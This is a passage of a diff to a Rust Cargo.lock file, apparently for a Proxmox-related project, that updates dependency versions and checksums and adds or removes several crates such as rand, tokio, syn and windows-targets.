 name = "proxmox-section-config"
-version = "2.1.1"
+version = "3.0.0"
 dependencies = [
  "anyhow",
  "hex",
@@ -1875,14 +2116,14 @@ dependencies = [
 name = "proxmox-sortable-macro"
 version = "0.1.3"
 dependencies = [
- "proc-macro2 1.0.92",
- "quote 1.0.37",
- "syn 2.0.91",
+ "proc-macro2 1.0.95",
+ "quote 1.0.40",
+ "syn 2.0.101",
 ]
 
 [[package]]
 name = "proxmox-sys"
-version = "0.6.5"
+version = "0.6.7"
 dependencies = [
  "anyhow",
  "libc",
@@ -1905,13 +2146,13 @@ dependencies = [
 
 [[package]]
 name = "proxmox-time"
-version = "2.0.3"
+version = "2.0.4"
 dependencies = [
  "anyhow",
- "bitflags 2.6.0",
+ "bitflags 2.9.1",
  "js-sys",
  "libc",
- "nom",
+ "nom 7.1.3",
 ]
 
 [[package]]
@@ -1931,9 +2172,9 @@ dependencies = [
 
 [[package]]
 name = "psm"
-version = "0.1.24"
+version = "0.1.26"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "200b9ff220857e53e184257720a14553b2f4aa02577d2ed9842d45d4b9654810"
+checksum = "6e944464ec8536cd1beb0bbfd96987eb5e3b72f2ecdafdc5c769a37f1fa2ae1f"
 dependencies = [
  "cc",
 ]
@@ -1987,11 +2228,11 @@ dependencies = [
 
 [[package]]
 name = "quote"
-version = "1.0.37"
+version = "1.0.40"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "b5b9d34b8991d19d98081b46eacdd8eb58c6f2b201139f7c5f643cc155a633af"
+checksum = "1885c039570dc00dcb4ff087a89e185fd56bae234ddc7f056a945bf36467248d"
 dependencies = [
- "proc-macro2 1.0.92",
+ "proc-macro2 1.0.95",
 ]
 
 [[package]]
@@ -2000,6 +2241,12 @@ version = "0.5.1"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "640c9bd8497b02465aeef5375144c26062e0dcd5939dfcbb0f5db76cb8c17c73"
 
+[[package]]
+name = "r-efi"
+version = "5.2.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "74765f6d916ee2faa39bc8e68e4f3ed8949b48cccdac59983d287a7cb71ce9c5"
+
 [[package]]
 name = "radix_trie"
 version = "0.2.1"
@@ -2011,12 +2258,42 @@ dependencies = [
 ]
 
 [[package]]
-name = "redox_syscall"
-version = "0.5.8"
+name = "rand"
+version = "0.8.5"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "03a862b389f93e68874fbf580b9de08dd02facb9a788ebadaf4a3fd33cf58834"
+checksum = "34af8d1a0e25924bc5b7c43c079c942339d8f0a8b57c39049bef581b46327404"
 dependencies = [
- "bitflags 2.6.0",
+ "libc",
+ "rand_chacha",
+ "rand_core",
+]
+
+[[package]]
+name = "rand_chacha"
+version = "0.3.1"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "e6c10a63a0fa32252be49d21e7709d4d4baf8d231c2dbce1eaa8141b9b127d88"
+dependencies = [
+ "ppv-lite86",
+ "rand_core",
+]
+
+[[package]]
+name = "rand_core"
+version = "0.6.4"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "ec0be4795e2f6a28069bec0b5ff3e2ac9bafc99e6a9a7dc3547996c5c816922c"
+dependencies = [
+ "getrandom 0.2.16",
+]
+
+[[package]]
+name = "redox_syscall"
+version = "0.5.12"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "928fca9cf2aa042393a8325b9ead81d2f0df4cb12e1e24cef072922ccd99c5af"
+dependencies = [
+ "bitflags 2.9.1",
 ]
 
 [[package]]
@@ -2025,7 +2302,7 @@ version = "0.4.6"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "ba009ff324d1fc1b900bd1fdb31564febe58a8ccc8a6fdbb93b543d33b13ca43"
 dependencies = [
- "getrandom",
+ "getrandom 0.2.16",
  "libredox",
  "thiserror 1.0.69",
 ]
@@ -2059,6 +2336,12 @@ version = "0.8.5"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "2b15c43186be67a4fd63bee50d0303afffcef381492ebe2c5d87f324e1b8815c"
 
+[[package]]
+name = "resolv-conf"
+version = "0.7.4"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "95325155c684b1c89f7765e30bc1c42e4a6da51ca513615660cb8a62ef9a88e3"
+
 [[package]]
 name = "rustc-demangle"
 version = "0.1.24"
@@ -2067,20 +2350,33 @@ checksum = "719b953e2095829ee67db738b3bfa9fa368c94900df327b3f07fe6e794d2fe1f"
 
 [[package]]
 name = "rustc-hash"
-version = "1.1.0"
+version = "2.1.1"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "08d43f7aa6b08d49f382cde6a7982047c3426db949b1424bc4b7ec9ae12c6ce2"
+checksum = "357703d41365b4b27c590e3ed91eabb1b663f07c4c084095e60cbed4362dff0d"
 
 [[package]]
 name = "rustix"
-version = "0.38.42"
+version = "0.38.44"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "f93dc38ecbab2eb790ff964bb77fa94faf256fd3e73285fd7ba0903b76bedb85"
+checksum = "fdb5bc1ae2baa591800df16c9ca78619bf65c0488b41b96ccec5d11220d8c154"
 dependencies = [
- "bitflags 2.6.0",
+ "bitflags 2.9.1",
  "errno",
  "libc",
- "linux-raw-sys",
+ "linux-raw-sys 0.4.15",
+ "windows-sys 0.59.0",
+]
+
+[[package]]
+name = "rustix"
+version = "1.0.7"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "c71e83d6afe7ff64890ec6b71d6a69bb8a610ab78ce364b3352876bb4c801266"
+dependencies = [
+ "bitflags 2.9.1",
+ "errno",
+ "libc",
+ "linux-raw-sys 0.9.4",
  "windows-sys 0.59.0",
 ]
 
@@ -2108,9 +2404,12 @@ dependencies = [
 
 [[package]]
 name = "rustls-pki-types"
-version = "1.10.1"
+version = "1.12.0"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "d2bf47e6ff922db3825eb750c4e2ff784c6ff8fb9e13046ef6a1d1c5401b0b37"
+checksum = "229a4a4c221013e7e1f1a043678c5cc39fe5171437c88fb47151a21e6f5b5c79"
+dependencies = [
+ "zeroize",
+]
 
 [[package]]
 name = "rustyline"
@@ -2131,16 +2430,16 @@ dependencies = [
  "scopeguard",
  "smallvec",
  "unicode-segmentation",
- "unicode-width",
+ "unicode-width 0.1.14",
  "utf8parse",
  "winapi",
 ]
 
 [[package]]
 name = "ryu"
-version = "1.0.18"
+version = "1.0.20"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "f3cb5ba0dc43242ce17de99c180e96db90b235b8a9fdc9543c96d2209116bd9f"
+checksum = "28d3b2b1366ec20994f1fd18c3c594f05c5dd4bc44d8bb0c1c632c8d6829481f"
 
 [[package]]
 name = "same-file"
@@ -2172,7 +2471,7 @@ version = "2.11.1"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "897b2245f0b511c87893af39b033e5ca9cce68824c4d7e7630b5a1d339658d02"
 dependencies = [
- "bitflags 2.6.0",
+ "bitflags 2.9.1",
  "core-foundation",
  "core-foundation-sys",
  "libc",
@@ -2181,9 +2480,9 @@ dependencies = [
 
 [[package]]
 name = "security-framework-sys"
-version = "2.13.0"
+version = "2.14.0"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "1863fd3768cd83c56a7f60faa4dc0d403f1b6df0a38c3c25f44b7894e45370d5"
+checksum = "49db231d56a190491cb4aeda9527f1ad45345af50b0851622a7adb8c03b01c32"
 dependencies = [
  "core-foundation-sys",
  "libc",
@@ -2191,29 +2490,29 @@ dependencies = [
 
 [[package]]
 name = "serde"
-version = "1.0.216"
+version = "1.0.219"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "0b9781016e935a97e8beecf0c933758c97a5520d32930e460142b4cd80c6338e"
+checksum = "5f0e2c6ed6606019b4e29e69dbaba95b11854410e5347d525002456dbbb786b6"
 dependencies = [
  "serde_derive",
 ]
 
 [[package]]
 name = "serde_derive"
-version = "1.0.216"
+version = "1.0.219"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "46f859dbbf73865c6627ed570e78961cd3ac92407a2d117204c49232485da55e"
+checksum = "5b0276cf7f2c73365f7157c8123c21cd9a50fbbd844757af28ca1f5925fc2a00"
 dependencies = [
- "proc-macro2 1.0.92",
- "quote 1.0.37",
- "syn 2.0.91",
+ "proc-macro2 1.0.95",
+ "quote 1.0.40",
+ "syn 2.0.101",
 ]
 
 [[package]]
 name = "serde_json"
-version = "1.0.134"
+version = "1.0.140"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "d00f4175c42ee48b15416f6193a959ba3a0d67fc699a0db9ad12df9f83991c7d"
+checksum = "20068b6e96dc6c9bd23e01df8827e6c7e1f2fddd43c21810382803c136b99373"
 dependencies = [
  "itoa",
  "memchr",
@@ -2232,9 +2531,9 @@ dependencies = [
 
 [[package]]
 name = "sha2"
-version = "0.10.8"
+version = "0.10.9"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "793db75ad2bcafc3ffa7c68b215fee268f537982cd901d132f89c6343f3a3dc8"
+checksum = "a7507d819769d01a365ab707794a4084392c824f54a7a6a7862f8c3d0892b283"
 dependencies = [
  "cfg-if",
  "cpufeatures",
@@ -2258,9 +2557,9 @@ checksum = "0fda2ff0d084019ba4d7c6f371c95d8fd75ce3524c3cb8fb653a3023f6323e64"
 
 [[package]]
 name = "signal-hook-registry"
-version = "1.4.2"
+version = "1.4.5"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "a9e9e0b4211b72e7b8b6e85c807d36c212bdb33ea8587f7569562a84df5465b1"
+checksum = "9203b8055f63a2a00e2f593bb0510367fe707d7ff1e5c872de2f537b339e5410"
 dependencies = [
  "libc",
 ]
@@ -2282,9 +2581,9 @@ dependencies = [
 
 [[package]]
 name = "smallvec"
-version = "1.13.2"
+version = "1.15.0"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "3c5e1a9a646d36c3599cd173a41282daf47c44583ad367b8e6837255952e5c67"
+checksum = "8917285742e9f3e1683f0a9c4e6b57960b7314d0b08d30d1ecd426713ee2eee9"
 
 [[package]]
 name = "smawk"
@@ -2294,9 +2593,9 @@ checksum = "b7c388c1b5e93756d0c740965c41e8822f866621d41acbdf6336a6a168f8840c"
 
 [[package]]
 name = "socket2"
-version = "0.5.8"
+version = "0.5.10"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "c970269d99b64e60ec3bd6ad27270092a5394c4e309314b18ae3fe575695fbe8"
+checksum = "e22376abed350d73dd1cd119b57ffccad95b4e585a7cda43e286245ce23c0678"
 dependencies = [
  "libc",
  "windows-sys 0.52.0",
@@ -2310,9 +2609,9 @@ checksum = "a8f112729512f8e442d81f95a8a7ddf2b7c6b8a1a6f509a95864142b30cab2d3"
 
 [[package]]
 name = "stacker"
-version = "0.1.17"
+version = "0.1.21"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "799c883d55abdb5e98af1a7b3f23b9b6de8ecada0ecac058672d7635eb48ca7b"
+checksum = "cddb07e32ddb770749da91081d8d0ac3a16f1a569a18b20348cd371f5dead06b"
 dependencies = [
  "cc",
  "cfg-if",
@@ -2340,31 +2639,31 @@ dependencies = [
 
 [[package]]
 name = "syn"
-version = "2.0.91"
+version = "2.0.101"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "d53cbcb5a243bd33b7858b1d7f4aca2153490815872d86d955d6ea29f743c035"
+checksum = "8ce2b7fc941b3a24138a0a7cf8e858bfc6a992e7978a068a5c760deb0ed43caf"
 dependencies = [
- "proc-macro2 1.0.92",
- "quote 1.0.37",
+ "proc-macro2 1.0.95",
+ "quote 1.0.40",
  "unicode-ident",
 ]
 
 [[package]]
 name = "synstructure"
-version = "0.13.1"
+version = "0.13.2"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "c8af7666ab7b6390ab78131fb5b0fce11d6b7a6951602017c35fa82800708971"
+checksum = "728a70f3dbaf5bab7f0c4b1ac8d7ae5ea60a4b5549c8a5914361c99147a709d2"
 dependencies = [
- "proc-macro2 1.0.92",
- "quote 1.0.37",
- "syn 2.0.91",
+ "proc-macro2 1.0.95",
+ "quote 1.0.40",
+ "syn 2.0.101",
 ]
 
 [[package]]
 name = "tar"
-version = "0.4.43"
+version = "0.4.44"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "c65998313f8e17d0d553d28f91a0df93e4dbbbf770279c7bc21ca0f09ea1a1f6"
+checksum = "1d863878d212c87a19c1a610eb53bb01fe12951c0501cf5a0d65f724914a667a"
 dependencies = [
  "filetime",
  "libc",
@@ -2373,35 +2672,26 @@ dependencies = [
 
 [[package]]
 name = "tempfile"
-version = "3.14.0"
+version = "3.20.0"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "28cce251fcbc87fac86a866eeb0d6c2d536fc16d06f184bb61aeae11aa4cee0c"
+checksum = "e8a64e3985349f2441a1a9ef0b853f869006c3855f2cda6862a94d26ebb9d6a1"
 dependencies = [
- "cfg-if",
  "fastrand",
+ "getrandom 0.3.3",
  "once_cell",
- "rustix",
+ "rustix 1.0.7",
  "windows-sys 0.59.0",
 ]
 
-[[package]]
-name = "termcolor"
-version = "1.4.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "06794f8f6c5c898b3275aebefa6b8a1cb24cd2c6c79397ab15774837a0bc5755"
-dependencies = [
- "winapi-util",
-]
-
 [[package]]
 name = "textwrap"
-version = "0.16.1"
+version = "0.16.2"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "23d434d3f8967a09480fb04132ebe0a3e088c173e6d0ee7897abbdf4eab0f8b9"
+checksum = "c13547615a44dc9c452a8a534638acdf07120d4b6847c8178705da06306a3057"
 dependencies = [
  "smawk",
  "unicode-linebreak",
- "unicode-width",
+ "unicode-width 0.2.0",
 ]
 
 [[package]]
@@ -2415,11 +2705,11 @@ dependencies = [
 
 [[package]]
 name = "thiserror"
-version = "2.0.9"
+version = "2.0.12"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "f072643fd0190df67a8bab670c20ef5d8737177d6ac6b2e9a236cb096206b2cc"
+checksum = "567b8a2dae586314f7be2a752ec7474332959c6460e02bde30d702a66d488708"
 dependencies = [
- "thiserror-impl 2.0.9",
+ "thiserror-impl 2.0.12",
 ]
 
 [[package]]
@@ -2428,20 +2718,20 @@ version = "1.0.69"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "4fee6c4efc90059e10f81e6d42c60a18f76588c3d74cb83a0b242a2b6c7504c1"
 dependencies = [
- "proc-macro2 1.0.92",
- "quote 1.0.37",
- "syn 2.0.91",
+ "proc-macro2 1.0.95",
+ "quote 1.0.40",
+ "syn 2.0.101",
 ]
 
 [[package]]
 name = "thiserror-impl"
-version = "2.0.9"
+version = "2.0.12"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "7b50fa271071aae2e6ee85f842e2e28ba8cd2c5fb67f11fcb1fd70b276f9e7d4"
+checksum = "7f7cf42b4507d8ea322120659672cf1b9dbb93f8f2d4ecfd6e51350ff5b17a1d"
 dependencies = [
- "proc-macro2 1.0.92",
- "quote 1.0.37",
- "syn 2.0.91",
+ "proc-macro2 1.0.95",
+ "quote 1.0.40",
+ "syn 2.0.101",
 ]
 
 [[package]]
@@ -2456,19 +2746,34 @@ dependencies = [
 
 [[package]]
 name = "tinystr"
-version = "0.7.6"
+version = "0.8.1"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "9117f5d4db391c1cf6927e7bea3db74b9a1c1add8f7eda9ffd5364f40f57b82f"
+checksum = "5d4f6d1145dcb577acf783d4e601bc1d76a13337bb54e6233add580b07344c8b"
 dependencies = [
  "displaydoc",
  "zerovec",
 ]
 
 [[package]]
-name = "tokio"
-version = "1.42.0"
+name = "tinyvec"
+version = "1.9.0"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "5cec9b21b0450273377fc97bd4c33a8acffc8c996c987a7c5b319a0083707551"
+checksum = "09b3661f17e86524eccd4371ab0429194e0d7c008abb45f7a7495b1719463c71"
+dependencies = [
+ "tinyvec_macros",
+]
+
+[[package]]
+name = "tinyvec_macros"
+version = "0.1.1"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "1f3ccbac311fea05f86f61904b462b55fb3df8837a366dfc601a0161d0532f20"
+
+[[package]]
+name = "tokio"
+version = "1.45.1"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "75ef51a33ef1da925cea3e4eb122833cb377c61439ca401b770f54902b806779"
 dependencies = [
  "backtrace",
  "bytes",
@@ -2483,13 +2788,13 @@ dependencies = [
 
 [[package]]
 name = "tokio-macros"
-version = "2.4.0"
+version = "2.5.0"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "693d596312e88961bc67d7f1f97af8a70227d9f90c31bba5806eec004978d752"
+checksum = "6e06d43f1345a3bcd39f6a56dbb7dcab2ba47e68e8ac134855e7e2bdbaf8cab8"
 dependencies = [
- "proc-macro2 1.0.92",
- "quote 1.0.37",
- "syn 2.0.91",
+ "proc-macro2 1.0.95",
+ "quote 1.0.40",
+ "syn 2.0.101",
 ]
 
 [[package]]
@@ -2516,9 +2821,9 @@ dependencies = [
 
 [[package]]
 name = "tokio-util"
-version = "0.7.13"
+version = "0.7.15"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "d7fcaa8d55a2bdd6b83ace262b016eca0d79ee02818c5c1bcdf0305114081078"
+checksum = "66a539a9ad6d5d281510d5bd368c973d636c02dbf8a67300bfb6b950696ad7df"
 dependencies = [
  "bytes",
  "futures-core",
@@ -2550,9 +2855,9 @@ version = "0.1.28"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "395ae124c09f9e6918a2310af6038fba074bcf474ac352496d5910dd59a2226d"
 dependencies = [
- "proc-macro2 1.0.92",
- "quote 1.0.37",
- "syn 2.0.91",
+ "proc-macro2 1.0.95",
+ "quote 1.0.40",
+ "syn 2.0.101",
 ]
 
 [[package]]
@@ -2609,9 +2914,9 @@ checksum = "e421abadd41a4225275504ea4d6566923418b7f05506fbc9c0fe86ba7396114b"
 
 [[package]]
 name = "typenum"
-version = "1.17.0"
+version = "1.18.0"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "42ff0bf0c66b8238c6f3b578df37d0b7848e55df8577b3f74f92a69acceeb825"
+checksum = "1dccffe3ce07af9386bfd29e80c0ab1a8205a2fc34e4bcd40364df902cfa8f3f"
 
 [[package]]
 name = "ucd-trie"
@@ -2631,9 +2936,9 @@ dependencies = [
 
 [[package]]
 name = "unicode-ident"
-version = "1.0.14"
+version = "1.0.18"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "adb9e6ca4f869e1180728b7950e35922a7fc6397f7b641499e8f3ef06e50dc83"
+checksum = "5a5f39404a5da50712a4c1eecf25e90dd62b613502b7e925fd4e4d19b5c96512"
 
 [[package]]
 name = "unicode-linebreak"
@@ -2653,6 +2958,12 @@ version = "0.1.14"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "7dd6e30e90baa6f72411720665d41d89b9a3d039dc45b8faea1ddd07f617f6af"
 
+[[package]]
+name = "unicode-width"
+version = "0.2.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "1fc81956842c57dac11422a97c3b8195a1ff727f06e85c84ed2e8aa277c9a0fd"
+
 [[package]]
 name = "unicode-xid"
 version = "0.1.0"
@@ -2690,12 +3001,6 @@ dependencies = [
  "percent-encoding",
 ]
 
-[[package]]
-name = "utf16_iter"
-version = "1.0.5"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "c8232dd3cdaed5356e0f716d285e4b40b932ac434100fe9b7e0e8e935b9e6246"
-
 [[package]]
 name = "utf8_iter"
 version = "1.0.4"
@@ -2710,9 +3015,9 @@ checksum = "06abde3611657adf66d383f00b093d7faecc7fa57071cce2578660c9f1010821"
 
 [[package]]
 name = "valuable"
-version = "0.1.0"
+version = "0.1.1"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "830b7e5d4d90034032940e4ace0d9a9a057e7a45cd94e6c007832e39edb82f6d"
+checksum = "ba73ea9cf16a25df0c8caa16c51acb937d5712a8429db78a3ee29d5dcacd3a65"
 
 [[package]]
 name = "vcpkg"
@@ -2752,10 +3057,19 @@ source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "9c8d87e72b64a3b4db28d11ce29237c246188f4f51057d65a7eab63b7987e423"
 
 [[package]]
-name = "wasm-bindgen"
-version = "0.2.99"
+name = "wasi"
+version = "0.14.2+wasi-0.2.4"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "a474f6281d1d70c17ae7aa6a613c87fce69a127e2624002df63dcb39d6cf6396"
+checksum = "9683f9a5a998d873c0d21fcbe3c083009670149a8fab228644b8bd36b2c48cb3"
+dependencies = [
+ "wit-bindgen-rt",
+]
+
+[[package]]
+name = "wasm-bindgen"
+version = "0.2.100"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "1edc8929d7499fc4e8f0be2262a241556cfc54a0bea223790e71446f2aab1ef5"
 dependencies = [
  "cfg-if",
  "once_cell",
@@ -2764,58 +3078,55 @@ dependencies = [
 
 [[package]]
 name = "wasm-bindgen-backend"
-version = "0.2.99"
+version = "0.2.100"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "5f89bb38646b4f81674e8f5c3fb81b562be1fd936d84320f3264486418519c79"
+checksum = "2f0a0651a5c2bc21487bde11ee802ccaf4c51935d0d3d42a6101f98161700bc6"
 dependencies = [
  "bumpalo",
  "log",
- "proc-macro2 1.0.92",
- "quote 1.0.37",
- "syn 2.0.91",
+ "proc-macro2 1.0.95",
+ "quote 1.0.40",
+ "syn 2.0.101",
  "wasm-bindgen-shared",
 ]
 
 [[package]]
 name = "wasm-bindgen-macro"
-version = "0.2.99"
+version = "0.2.100"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "2cc6181fd9a7492eef6fef1f33961e3695e4579b9872a6f7c83aee556666d4fe"
+checksum = "7fe63fc6d09ed3792bd0897b314f53de8e16568c2b3f7982f468c0bf9bd0b407"
 dependencies = [
- "quote 1.0.37",
+ "quote 1.0.40",
  "wasm-bindgen-macro-support",
 ]
 
 [[package]]
 name = "wasm-bindgen-macro-support"
-version = "0.2.99"
+version = "0.2.100"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "30d7a95b763d3c45903ed6c81f156801839e5ee968bb07e534c44df0fcd330c2"
+checksum = "8ae87ea40c9f689fc23f209965b6fb8a99ad69aeeb0231408be24920604395de"
 dependencies = [
- "proc-macro2 1.0.92",
- "quote 1.0.37",
- "syn 2.0.91",
+ "proc-macro2 1.0.95",
+ "quote 1.0.40",
+ "syn 2.0.101",
  "wasm-bindgen-backend",
  "wasm-bindgen-shared",
 ]
 
 [[package]]
 name = "wasm-bindgen-shared"
-version = "0.2.99"
+version = "0.2.100"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "943aab3fdaaa029a6e0271b35ea10b72b943135afe9bffca82384098ad0e06a6"
+checksum = "1a05d73b933a847d6cccdda8f838a22ff101ad9bf93e33684f39c1f5f0eece3d"
+dependencies = [
+ "unicode-ident",
+]
 
 [[package]]
-name = "which"
-version = "4.4.2"
+name = "widestring"
+version = "1.2.0"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "87ba24419a2078cd2b0f2ede2691b6c66d8e47836da3b6db8265ebad47afbfc7"
-dependencies = [
- "either",
- "home",
- "once_cell",
- "rustix",
-]
+checksum = "dd7cf3379ca1aac9eea11fba24fd7e315d621f8dfe35c8d7d2be8b793726e07d"
 
 [[package]]
 name = "winapi"
@@ -2849,23 +3160,10 @@ source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "712e227841d057c1ee1cd2fb22fa7e5a5461ae8e48fa2ca79ec42cfc1931183f"
 
 [[package]]
-name = "windows"
-version = "0.52.0"
+name = "windows-link"
+version = "0.1.1"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "e48a53791691ab099e5e2ad123536d0fff50652600abaf43bbf952894110d0be"
-dependencies = [
- "windows-core",
- "windows-targets 0.52.6",
-]
-
-[[package]]
-name = "windows-core"
-version = "0.52.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "33ab640c8d7e35bf8ba19b884ba838ceb4fba93a4e8c65a9059d08afcfc683d9"
-dependencies = [
- "windows-targets 0.52.6",
-]
+checksum = "76840935b766e1b0a05c0066835fb9ec80071d4c09a16f6bd5f7e655e3c14c38"
 
 [[package]]
 name = "windows-sys"
@@ -2918,13 +3216,29 @@ dependencies = [
  "windows_aarch64_gnullvm 0.52.6",
  "windows_aarch64_msvc 0.52.6",
  "windows_i686_gnu 0.52.6",
- "windows_i686_gnullvm",
+ "windows_i686_gnullvm 0.52.6",
  "windows_i686_msvc 0.52.6",
  "windows_x86_64_gnu 0.52.6",
  "windows_x86_64_gnullvm 0.52.6",
  "windows_x86_64_msvc 0.52.6",
 ]
 
+[[package]]
+name = "windows-targets"
+version = "0.53.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "b1e4c7e8ceaaf9cb7d7507c974735728ab453b67ef8f18febdd7c11fe59dca8b"
+dependencies = [
+ "windows_aarch64_gnullvm 0.53.0",
+ "windows_aarch64_msvc 0.53.0",
+ "windows_i686_gnu 0.53.0",
+ "windows_i686_gnullvm 0.53.0",
+ "windows_i686_msvc 0.53.0",
+ "windows_x86_64_gnu 0.53.0",
+ "windows_x86_64_gnullvm 0.53.0",
+ "windows_x86_64_msvc 0.53.0",
+]
+
 [[package]]
 name = "windows_aarch64_gnullvm"
 version = "0.48.5"
@@ -2937,6 +3251,12 @@ version = "0.52.6"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "32a4622180e7a0ec044bb555404c800bc9fd9ec262ec147edd5989ccd0c02cd3"
 
+[[package]]
+name = "windows_aarch64_gnullvm"
+version = "0.53.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "86b8d5f90ddd19cb4a147a5fa63ca848db3df085e25fee3cc10b39b6eebae764"
+
 [[package]]
 name = "windows_aarch64_msvc"
 version = "0.48.5"
@@ -2949,6 +3269,12 @@ version = "0.52.6"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "09ec2a7bb152e2252b53fa7803150007879548bc709c039df7627cabbd05d469"
 
+[[package]]
+name = "windows_aarch64_msvc"
+version = "0.53.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "c7651a1f62a11b8cbd5e0d42526e55f2c99886c77e007179efff86c2b137e66c"
+
 [[package]]
 name = "windows_i686_gnu"
 version = "0.48.5"
@@ -2961,12 +3287,24 @@ version = "0.52.6"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "8e9b5ad5ab802e97eb8e295ac6720e509ee4c243f69d781394014ebfe8bbfa0b"
 
+[[package]]
+name = "windows_i686_gnu"
+version = "0.53.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "c1dc67659d35f387f5f6c479dc4e28f1d4bb90ddd1a5d3da2e5d97b42d6272c3"
+
 [[package]]
 name = "windows_i686_gnullvm"
 version = "0.52.6"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "0eee52d38c090b3caa76c563b86c3a4bd71ef1a819287c19d586d7334ae8ed66"
 
+[[package]]
+name = "windows_i686_gnullvm"
+version = "0.53.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "9ce6ccbdedbf6d6354471319e781c0dfef054c81fbc7cf83f338a4296c0cae11"
+
 [[package]]
 name = "windows_i686_msvc"
 version = "0.48.5"
@@ -2979,6 +3317,12 @@ version = "0.52.6"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "240948bc05c5e7c6dabba28bf89d89ffce3e303022809e73deaefe4f6ec56c66"
 
+[[package]]
+name = "windows_i686_msvc"
+version = "0.53.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "581fee95406bb13382d2f65cd4a908ca7b1e4c2f1917f143ba16efe98a589b5d"
+
 [[package]]
 name = "windows_x86_64_gnu"
 version = "0.48.5"
@@ -2991,6 +3335,12 @@ version = "0.52.6"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "147a5c80aabfbf0c7d901cb5895d1de30ef2907eb21fbbab29ca94c5b08b1a78"
 
+[[package]]
+name = "windows_x86_64_gnu"
+version = "0.53.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "2e55b5ac9ea33f2fc1716d1742db15574fd6fc8dadc51caab1c16a3d3b4190ba"
+
 [[package]]
 name = "windows_x86_64_gnullvm"
 version = "0.48.5"
@@ -3003,6 +3353,12 @@ version = "0.52.6"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "24d5b23dc417412679681396f2b49f3de8c1473deb516bd34410872eff51ed0d"
 
+[[package]]
+name = "windows_x86_64_gnullvm"
+version = "0.53.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "0a6e035dd0599267ce1ee132e51c27dd29437f63325753051e71dd9e42406c57"
+
 [[package]]
 name = "windows_x86_64_msvc"
 version = "0.48.5"
@@ -3016,26 +3372,44 @@ source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "589f6da84c646204747d1270a2a5661ea66ed1cced2631d546fdfb155959f9ec"
 
 [[package]]
-name = "write16"
-version = "1.0.0"
